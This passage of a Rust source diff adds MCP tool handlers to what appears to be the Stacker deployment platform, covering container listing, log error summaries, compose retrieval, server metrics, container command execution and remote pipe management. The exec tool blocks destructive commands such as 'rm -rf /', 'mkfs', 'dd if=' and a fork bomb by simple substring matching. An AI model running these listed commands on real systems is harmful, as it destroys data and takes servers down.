params.hours.unwrap_or(24).min(168); // Max 7 days + + // Create error summary command for agent + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "error_summary".to_string(), + context.user.id.clone(), + ) + .with_parameters(json!({ + "name": "stacker.error_summary", + "params": { + "deployment_hash": deployment_hash, + "app_code": params.app_code.clone().unwrap_or_default(), + "hours": hours, + "redact": true + } + })); + + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + &deployment_hash, + &CommandPriority::Normal, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + let result = json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "hours": hours, + "message": format!("Error summary request queued for the last {} hours. Agent will analyze logs shortly.", hours) + }); + + tracing::info!( + user_id = %context.user.id, + deployment_id = ?params.deployment_id, + deployment_hash = %deployment_hash, + hours = hours, + "Queued error summary command via MCP" + ); + + Ok(ToolContent::Text { + text: result.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_error_summary".to_string(), + description: "Get a summary of errors and warnings from container logs. Returns categorized error counts, most frequent errors, and suggested fixes.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments). Use this if available in context." + }, + "app_code": { + "type": "string", + "description": "Specific app/container to analyze. If omitted, analyzes all containers." + }, + "hours": { + "type": "number", + "description": "Number of hours to look back (default: 24, max: 168)" + } + }, + "required": [] + }), + } + } +} + +/// List all containers in a deployment +/// This tool discovers running containers and their status, which is essential +/// for subsequent operations like proxy configuration, log retrieval, etc. +pub struct ListContainersTool; + +#[async_trait] +impl ToolHandler for ListContainersTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Create identifier and resolve to hash + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Create list_containers command for agent + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "list_containers".to_string(), + context.user.id.clone(), + ) + .with_parameters(json!({ + "name": "stacker.list_containers", + "params": { + "deployment_hash": deployment_hash.clone(), + } + })); + + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + &deployment_hash, + &CommandPriority::High, // High priority for quick discovery + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + // Also try to get containers from project_app table if we have a project + let mut known_apps: Vec = Vec::new(); + if let Ok(Some(deployment)) = + db::deployment::fetch_by_deployment_hash(&context.pg_pool, &deployment_hash).await + { + if let Ok(apps) = + db::project_app::fetch_by_project(&context.pg_pool, deployment.project_id).await + { + for app in apps { + known_apps.push(json!({ + "code": app.code, + "name": app.name, + "image": app.image, + "parent_app_code": app.parent_app_code, + "enabled": app.enabled, + "ports": app.ports, + "domain": app.domain, + })); + } + } + } + + let result = json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "message": "Container listing queued. Agent will respond with running containers shortly.", + "known_apps": known_apps, + "hint": if !known_apps.is_empty() { + format!("Found {} registered apps in this deployment. Use these app codes for logs, health, restart, or proxy commands.", known_apps.len()) + } else { + "No registered apps found yet. Agent will discover running containers.".to_string() + } + }); + + tracing::info!( + user_id = %context.user.id, + deployment_hash = %deployment_hash, + known_apps_count = known_apps.len(), + "Queued list_containers command via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_containers".to_string(), + description: "List all containers running in a deployment. Returns container names, status, and registered app configurations. Use this to discover available containers before configuring proxies, viewing logs, or checking health.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments). Use this if available in context." + } + }, + "required": [] + }), + } + } +} + +/// Get the docker-compose.yml configuration for a deployment +/// Retrieves the compose file from Vault for analysis and troubleshooting +pub struct GetDockerComposeYamlTool; + +#[async_trait] +impl ToolHandler for GetDockerComposeYamlTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + #[serde(default)] + app_code: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Create identifier and resolve to hash + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Initialize Vault service + let vault = VaultService::from_settings(&context.settings.vault) + .map_err(|e| format!("Vault service not configured: {}", e))?; + + // Determine what to fetch: specific app compose or global compose + let app_name = params + .app_code + .clone() + .unwrap_or_else(|| "_compose".to_string()); + + match vault.fetch_app_config(&deployment_hash, &app_name).await { + Ok(config) => { + let result = json!({ + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "content_type": config.content_type, + "destination_path": config.destination_path, + "compose_yaml": config.content, + "message": if params.app_code.is_some() { + format!("Docker compose for app '{}' retrieved successfully", app_name) + } else { + "Docker compose configuration retrieved successfully".to_string() + } + }); + + tracing::info!( + user_id = %context.user.id, + deployment_hash = %deployment_hash, + app_code = ?params.app_code, + "Retrieved docker-compose.yml via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result) + .unwrap_or_else(|_| result.to_string()), + }) + } + Err(e) => { + tracing::warn!( + user_id = %context.user.id, + deployment_hash = %deployment_hash, + error = %e, + "Failed to fetch docker-compose.yml from Vault" + ); + Err(format!("Failed to retrieve docker-compose.yml: {}", e)) + } + } + } + + fn schema(&self) -> Tool { + Tool { + name: "get_docker_compose_yaml".to_string(), + description: "Retrieve the docker-compose.yml configuration for a deployment. This shows the actual service definitions, volumes, networks, and environment variables. Useful for troubleshooting configuration issues.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments). Use this if available in context." + }, + "app_code": { + "type": "string", + "description": "Specific app code to get compose for. If omitted, returns the main docker-compose.yml for the entire stack." + } + }, + "required": [] + }), + } + } +} + +/// Get server resource metrics (CPU, RAM, disk) from a deployment +/// Dispatches a command to the status agent to collect system metrics +pub struct GetServerResourcesTool; + +#[async_trait] +impl ToolHandler for GetServerResourcesTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Create identifier and resolve to hash + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Create server_resources command for agent + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "server_resources".to_string(), + context.user.id.clone(), + ) + .with_parameters(json!({ + "name": "stacker.server_resources", + "params": { + "deployment_hash": deployment_hash.clone(), + "include_disk": true, + "include_network": true + } + })); + + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + &deployment_hash, + &CommandPriority::Normal, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + // Wait for result or timeout + let result = if let Some(cmd) = + wait_for_command_result(&context.pg_pool, &command.command_id).await? + { + let status = cmd.status.to_lowercase(); + json!({ + "status": status, + "command_id": cmd.command_id, + "deployment_hash": deployment_hash, + "result": cmd.result, + "error": cmd.error, + "message": "Server resources collected.", + "metrics_included": ["cpu_percent", "memory_used", "memory_total", "disk_used", "disk_total", "network_io"] + }) + } else { + json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "message": "Server resources request queued. Agent will collect CPU, RAM, disk, and network metrics shortly.", + "metrics_included": ["cpu_percent", "memory_used", "memory_total", "disk_used", "disk_total", "network_io"] + }) + }; + + tracing::info!( + user_id = %context.user.id, + deployment_hash = %deployment_hash, + "Queued server_resources command via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_server_resources".to_string(), + description: "Get server resource metrics including CPU usage, RAM usage, disk space, and network I/O. Useful for diagnosing resource exhaustion issues or capacity planning.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments). Use this if available in context." + } + }, + "required": [] + }), + } + } +} + +/// Execute a command inside a running container +/// Allows running diagnostic commands for troubleshooting +pub struct GetContainerExecTool; + +#[async_trait] +impl ToolHandler for GetContainerExecTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + app_code: String, + command: String, + #[serde(default)] + timeout: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + if params.app_code.trim().is_empty() { + return Err("app_code is required to execute a command in a container".to_string()); + } + + if params.command.trim().is_empty() { + return Err("command is required".to_string()); + } + + // Security: Block dangerous commands + let blocked_patterns = [ + "rm -rf /", "mkfs", "dd if=", ":(){", // Fork bomb + "shutdown", "reboot", "halt", "poweroff", "init 0", "init 6", + ]; + + let cmd_lower = params.command.to_lowercase(); + for pattern in &blocked_patterns { + if cmd_lower.contains(pattern) { + return Err(format!( + "Command '{}' is not allowed for security reasons", + pattern + )); + } + } + + // Create identifier and resolve to hash + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + let timeout = params.timeout.unwrap_or(30).min(120); // Max 2 minutes + + // Create exec command for agent + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "exec".to_string(), + context.user.id.clone(), + ) + .with_priority(CommandPriority::High) + .with_timeout(timeout as i32) + .with_parameters(json!({ + "name": "stacker.exec", + "params": { + "deployment_hash": deployment_hash.clone(), + "app_code": params.app_code.clone(), + "command": params.command.clone(), + "timeout": timeout, + "redact_output": true // Always redact sensitive data + } + })); + + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + &deployment_hash, + &CommandPriority::High, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + let result = json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "command": params.command, + "timeout": timeout, + "message": format!("Exec command queued for container '{}'. Output will be redacted for security.", params.app_code) + }); + + tracing::warn!( + user_id = %context.user.id, + deployment_hash = %deployment_hash, + app_code = %params.app_code, + command = %params.command, + "Queued EXEC command via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_container_exec".to_string(), + description: "Execute a command inside a running container for troubleshooting. Output is automatically redacted to remove sensitive information. Use for diagnostics like checking disk space, memory, running processes, or verifying config files.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments). Use this if available in context." + }, + "app_code": { + "type": "string", + "description": "The app/container code to execute command in (e.g., 'nginx', 'postgres')" + }, + "command": { + "type": "string", + "description": "The command to execute (e.g., 'df -h', 'free -m', 'ps aux', 'cat /etc/nginx/nginx.conf')" + }, + "timeout": { + "type": "number", + "description": "Command timeout in seconds (default: 30, max: 120)" + } + }, + "required": ["app_code", "command"] + }), + } + } +} diff --git a/stacker/stacker/src/mcp/tools/pipes.rs b/stacker/stacker/src/mcp/tools/pipes.rs new file mode 100644 index 0000000..160dff8 --- /dev/null +++ b/stacker/stacker/src/mcp/tools/pipes.rs @@ -0,0 +1,781 @@ +use async_trait::async_trait; +use serde::Deserialize; +use serde_json::{json, Value}; + +use crate::cli::stacker_client::{ + AgentEnqueueRequest, CreatePipeInstanceApiRequest, CreatePipeTemplateApiRequest, + PipeInstanceInfo, StackerClient, +}; +use crate::connectors::user_service::UserServiceDeploymentResolver; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use crate::services::{DeploymentIdentifier, DeploymentResolver, TypedErrorEnvelope}; + +pub struct ListPipesTool; +pub struct GetPipeTool; +pub struct ListPipeTemplatesTool; +pub struct CreatePipeTemplateTool; +pub struct CreatePipeInstanceTool; +pub struct GetPipeHistoryTool; +pub struct ReplayPipeExecutionTool; +pub struct ActivatePipeTool; +pub struct DeactivatePipeTool; +pub struct TriggerPipeTool; + +const PIPE_COMMAND_TIMEOUT_SECS: u64 = 90; +const PIPE_COMMAND_POLL_INTERVAL_SECS: u64 = 1; + +fn create_resolver(context: &ToolContext) -> UserServiceDeploymentResolver { + UserServiceDeploymentResolver::from_context( + &context.settings.user_service_url, + context.user.access_token.as_deref(), + ) +} + +fn stacker_base_url(context: &ToolContext) -> String { + let host = match context.settings.app_host.trim() { + "" | "0.0.0.0" => "127.0.0.1", + host => host, + }; + + format!("http://{}:{}", host, context.settings.app_port) +} + +fn stacker_client(context: &ToolContext) -> Result { + let token = context.user.access_token.as_deref().ok_or_else(|| { + TypedErrorEnvelope::permission_denied( + "Authenticated MCP mutation requires a user access token", + ) + .to_pretty_json() + })?; + + Ok(StackerClient::new(&stacker_base_url(context), token)) +} + +async fn resolve_deployment_hash( + context: &ToolContext, + deployment_hash: Option, + deployment_id: Option, +) -> Result { + let identifier = DeploymentIdentifier::try_from_options(deployment_hash, deployment_id)?; + create_resolver(context) + .resolve(&identifier) + .await + .map_err(|e| e.to_string()) +} + +async fn require_pipe(client: &StackerClient, pipe_id: &str) -> Result { + client + .get_pipe_instance(pipe_id) + .await + .map_err(|e| format!("Failed to fetch pipe '{}': {}", pipe_id, e))? + .ok_or_else(|| format!("Pipe instance '{}' not found", pipe_id)) +} + +async fn ensure_pipe_capability( + client: &StackerClient, + deployment_hash: &str, +) -> Result<(), String> { + let capabilities = client + .deployment_capabilities(deployment_hash) + .await + .map_err(|e| format!("Failed to fetch deployment capabilities: {}", e))?; + + if capabilities.features.pipes { + return Ok(()); + } + + let capabilities_list = if capabilities.capabilities.is_empty() { + "(none)".to_string() + } else { + capabilities.capabilities.join(", ") + }; + + Err(format!( + "The active agent for deployment '{}' does not support pipe commands. Agent status: {}. Capabilities: {}. Update or relink the Status Panel agent so it advertises 'pipes', then retry.", + capabilities.deployment_hash, + if capabilities.status.is_empty() { + "unknown" + } else { + &capabilities.status + }, + capabilities_list + )) +} + +fn pipe_command_response(result: crate::cli::stacker_client::AgentCommandInfo) -> Value { + json!({ + "command_id": result.command_id, + "deployment_hash": result.deployment_hash, + "command_type": result.command_type, + "status": result.status, + "priority": result.priority, + "parameters": result.parameters, + "result": result.result, + "error": result.error, + "created_at": result.created_at, + "updated_at": result.updated_at, + }) +} + +async fn run_pipe_command( + client: &StackerClient, + request: &AgentEnqueueRequest, + wait_timeout_seconds: u64, +) -> Result { + let result = client + .agent_poll_result( + request, + wait_timeout_seconds, + PIPE_COMMAND_POLL_INTERVAL_SECS, + ) + .await + .map_err(|e| format!("Agent command failed: {}", e))?; + + Ok(pipe_command_response(result)) +} + +async fn resolve_pipe_deployment( + context: &ToolContext, + client: &StackerClient, + pipe_id: &str, + deployment_hash: Option, + deployment_id: Option, +) -> Result<(PipeInstanceInfo, String), String> { + let pipe = require_pipe(client, pipe_id).await?; + let resolved = if deployment_hash.is_some() || deployment_id.is_some() { + let explicit = resolve_deployment_hash(context, deployment_hash, deployment_id).await?; + if explicit != pipe.deployment_hash { + return Err(format!( + "Pipe '{}' belongs to deployment '{}', not '{}'", + pipe_id, pipe.deployment_hash, explicit + )); + } + explicit + } else { + pipe.deployment_hash.clone() + }; + + Ok((pipe, resolved)) +} + +async fn activate_pipe_request( + client: &StackerClient, + pipe: &PipeInstanceInfo, + trigger: &str, + poll_interval: u32, +) -> Result { + let (source_endpoint, source_method, target_endpoint, target_method, field_mapping) = + if let Some(template_id) = pipe.template_id.as_ref() { + let templates = client + .list_pipe_templates(None, None) + .await + .map_err(|e| format!("Failed to load pipe templates: {}", e))?; + + if let Some(template) = templates + .iter() + .find(|template| &template.id == template_id) + { + ( + template.source_endpoint["path"] + .as_str() + .unwrap_or("/") + .to_string(), + template.source_endpoint["method"] + .as_str() + .unwrap_or("GET") + .to_string(), + template.target_endpoint["path"] + .as_str() + .unwrap_or("/") + .to_string(), + template.target_endpoint["method"] + .as_str() + .unwrap_or("POST") + .to_string(), + pipe.field_mapping_override + .clone() + .unwrap_or(template.field_mapping.clone()), + ) + } else { + ( + "/".to_string(), + "GET".to_string(), + "/".to_string(), + "POST".to_string(), + serde_json::json!({}), + ) + } + } else { + ( + "/".to_string(), + "GET".to_string(), + "/".to_string(), + "POST".to_string(), + pipe.field_mapping_override + .clone() + .unwrap_or(serde_json::json!({})), + ) + }; + + let params = json!({ + "pipe_instance_id": pipe.id, + "source_adapter": pipe.source_adapter.clone(), + "source_container": pipe.source_container.clone(), + "source_endpoint": source_endpoint, + "source_method": source_method, + "target_adapter": pipe.target_adapter.clone(), + "target_container": pipe.target_container.clone(), + "target_url": pipe.target_url.clone(), + "target_endpoint": target_endpoint, + "target_method": target_method, + "field_mapping": field_mapping, + "trigger_type": trigger, + "poll_interval_secs": poll_interval, + }); + + Ok( + AgentEnqueueRequest::new(&pipe.deployment_hash, "activate_pipe") + .with_raw_parameters(params), + ) +} + +#[async_trait] +impl ToolHandler for ListPipesTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let deployment_hash = + resolve_deployment_hash(context, params.deployment_hash, params.deployment_id).await?; + let client = stacker_client(context)?; + let pipes = client + .list_pipe_instances(&deployment_hash) + .await + .map_err(|e| format!("Failed to list pipes: {}", e))?; + + Ok(ToolContent::Text { + text: json!({ + "status": "ok", + "deployment_hash": deployment_hash, + "pipes": pipes, + }) + .to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_pipes".to_string(), + description: "List remote pipe instances for a deployment.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { "type": "number", "description": "The deployment/installation ID" }, + "deployment_hash": { "type": "string", "description": "The deployment hash" } + } + }), + } + } +} + +#[async_trait] +impl ToolHandler for GetPipeTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + pipe_id: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let client = stacker_client(context)?; + let pipe = require_pipe(&client, ¶ms.pipe_id).await?; + + Ok(ToolContent::Text { + text: json!({ + "status": "ok", + "pipe": pipe, + }) + .to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_pipe".to_string(), + description: "Get details for a single remote pipe instance.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "pipe_id": { "type": "string", "description": "Pipe instance ID" } + }, + "required": ["pipe_id"] + }), + } + } +} + +#[async_trait] +impl ToolHandler for ListPipeTemplatesTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + source_app_type: Option, + #[serde(default)] + target_app_type: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let client = stacker_client(context)?; + let templates = client + .list_pipe_templates( + params.source_app_type.as_deref(), + params.target_app_type.as_deref(), + ) + .await + .map_err(|e| format!("Failed to list pipe templates: {}", e))?; + + Ok(ToolContent::Text { + text: json!({ + "status": "ok", + "templates": templates, + }) + .to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_pipe_templates".to_string(), + description: + "List remote pipe templates, optionally filtered by source or target app type." + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "source_app_type": { "type": "string", "description": "Optional source app type filter" }, + "target_app_type": { "type": "string", "description": "Optional target app type filter" } + } + }), + } + } +} + +#[async_trait] +impl ToolHandler for CreatePipeTemplateTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + request: CreatePipeTemplateApiRequest, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let client = stacker_client(context)?; + let template = client + .create_pipe_template(¶ms.request) + .await + .map_err(|e| format!("Failed to create pipe template: {}", e))?; + + Ok(ToolContent::Text { + text: json!({ + "status": "created", + "template": template, + }) + .to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "create_pipe_template".to_string(), + description: "Create a reusable remote pipe template.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "request": { + "type": "object", + "description": "Pipe template request matching CreatePipeTemplateApiRequest" + } + }, + "required": ["request"] + }), + } + } +} + +#[async_trait] +impl ToolHandler for CreatePipeInstanceTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + request: CreatePipeInstanceApiRequest, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let deployment_hash = + resolve_deployment_hash(context, params.deployment_hash, params.deployment_id).await?; + let client = stacker_client(context)?; + + let mut request = params.request; + request.deployment_hash = Some(deployment_hash.clone()); + + let pipe = client + .create_pipe_instance(&request) + .await + .map_err(|e| format!("Failed to create pipe instance: {}", e))?; + + Ok(ToolContent::Text { + text: json!({ + "status": "created", + "deployment_hash": deployment_hash, + "pipe": pipe, + }) + .to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "create_pipe_instance".to_string(), + description: "Create a remote pipe instance for a deployment.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { "type": "number", "description": "The deployment/installation ID" }, + "deployment_hash": { "type": "string", "description": "The deployment hash" }, + "request": { + "type": "object", + "description": "Pipe instance request matching CreatePipeInstanceApiRequest" + } + }, + "required": ["request"] + }), + } + } +} + +#[async_trait] +impl ToolHandler for GetPipeHistoryTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + instance_id: String, + #[serde(default)] + limit: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let client = stacker_client(context)?; + let executions = client + .list_pipe_executions(¶ms.instance_id, params.limit.unwrap_or(20), 0) + .await + .map_err(|e| format!("Failed to fetch pipe execution history: {}", e))?; + + Ok(ToolContent::Text { + text: json!({ + "status": "ok", + "instance_id": params.instance_id, + "executions": executions, + }) + .to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_pipe_history".to_string(), + description: "Get recent execution history for a pipe instance.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "instance_id": { "type": "string", "description": "Pipe instance ID" }, + "limit": { "type": "integer", "description": "Maximum number of executions to return (default: 20)" } + }, + "required": ["instance_id"] + }), + } + } +} + +#[async_trait] +impl ToolHandler for ReplayPipeExecutionTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + execution_id: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let client = stacker_client(context)?; + let replay = client + .replay_pipe_execution(¶ms.execution_id) + .await + .map_err(|e| format!("Failed to replay pipe execution: {}", e))?; + + Ok(ToolContent::Text { + text: json!({ + "status": "replayed", + "replay": replay, + }) + .to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "replay_pipe_execution".to_string(), + description: "Replay a previous pipe execution.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "execution_id": { "type": "string", "description": "Pipe execution ID" } + }, + "required": ["execution_id"] + }), + } + } +} + +#[async_trait] +impl ToolHandler for ActivatePipeTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + pipe_id: String, + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + #[serde(default = "default_trigger")] + trigger: String, + #[serde(default = "default_poll_interval")] + poll_interval: u32, + #[serde(default = "default_wait_timeout")] + wait_timeout_seconds: u64, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let client = stacker_client(context)?; + let (pipe, deployment_hash) = resolve_pipe_deployment( + context, + &client, + ¶ms.pipe_id, + params.deployment_hash, + params.deployment_id, + ) + .await?; + ensure_pipe_capability(&client, &deployment_hash).await?; + + client + .update_pipe_status(¶ms.pipe_id, "active") + .await + .map_err(|e| format!("Failed to set pipe status to active: {}", e))?; + + let request = + activate_pipe_request(&client, &pipe, ¶ms.trigger, params.poll_interval).await?; + let command = run_pipe_command(&client, &request, params.wait_timeout_seconds).await?; + + Ok(ToolContent::Text { + text: json!({ + "status": "active", + "pipe_id": params.pipe_id, + "deployment_hash": deployment_hash, + "trigger": params.trigger, + "poll_interval": params.poll_interval, + "command": command, + }) + .to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "activate_pipe".to_string(), + description: "Activate a remote pipe and start its agent listener.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "pipe_id": { "type": "string", "description": "Pipe instance ID" }, + "deployment_id": { "type": "number", "description": "Optional deployment/installation ID for validation" }, + "deployment_hash": { "type": "string", "description": "Optional deployment hash for validation" }, + "trigger": { "type": "string", "description": "Trigger type: webhook, poll, or manual", "default": "webhook" }, + "poll_interval": { "type": "integer", "description": "Poll interval in seconds when trigger=poll", "default": 300 }, + "wait_timeout_seconds": { "type": "integer", "description": "How long MCP should wait for the agent command result", "default": 90 } + }, + "required": ["pipe_id"] + }), + } + } +} + +#[async_trait] +impl ToolHandler for DeactivatePipeTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + pipe_id: String, + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + #[serde(default = "default_wait_timeout")] + wait_timeout_seconds: u64, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let client = stacker_client(context)?; + let (_pipe, deployment_hash) = resolve_pipe_deployment( + context, + &client, + ¶ms.pipe_id, + params.deployment_hash, + params.deployment_id, + ) + .await?; + ensure_pipe_capability(&client, &deployment_hash).await?; + + client + .update_pipe_status(¶ms.pipe_id, "paused") + .await + .map_err(|e| format!("Failed to set pipe status to paused: {}", e))?; + + let request = AgentEnqueueRequest::new(&deployment_hash, "deactivate_pipe") + .with_raw_parameters(json!({ "pipe_instance_id": params.pipe_id })); + let command = run_pipe_command(&client, &request, params.wait_timeout_seconds).await?; + + Ok(ToolContent::Text { + text: json!({ + "status": "paused", + "pipe_id": params.pipe_id, + "deployment_hash": deployment_hash, + "command": command, + }) + .to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "deactivate_pipe".to_string(), + description: "Pause a remote pipe and stop its agent listener.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "pipe_id": { "type": "string", "description": "Pipe instance ID" }, + "deployment_id": { "type": "number", "description": "Optional deployment/installation ID for validation" }, + "deployment_hash": { "type": "string", "description": "Optional deployment hash for validation" }, + "wait_timeout_seconds": { "type": "integer", "description": "How long MCP should wait for the agent command result", "default": 90 } + }, + "required": ["pipe_id"] + }), + } + } +} + +#[async_trait] +impl ToolHandler for TriggerPipeTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + pipe_id: String, + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + #[serde(default)] + input_data: Value, + #[serde(default = "default_wait_timeout")] + wait_timeout_seconds: u64, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let client = stacker_client(context)?; + let (_pipe, deployment_hash) = resolve_pipe_deployment( + context, + &client, + ¶ms.pipe_id, + params.deployment_hash, + params.deployment_id, + ) + .await?; + ensure_pipe_capability(&client, &deployment_hash).await?; + + let request = AgentEnqueueRequest::new(&deployment_hash, "trigger_pipe") + .with_raw_parameters(json!({ + "pipe_instance_id": params.pipe_id, + "input_data": params.input_data, + })); + let command = run_pipe_command(&client, 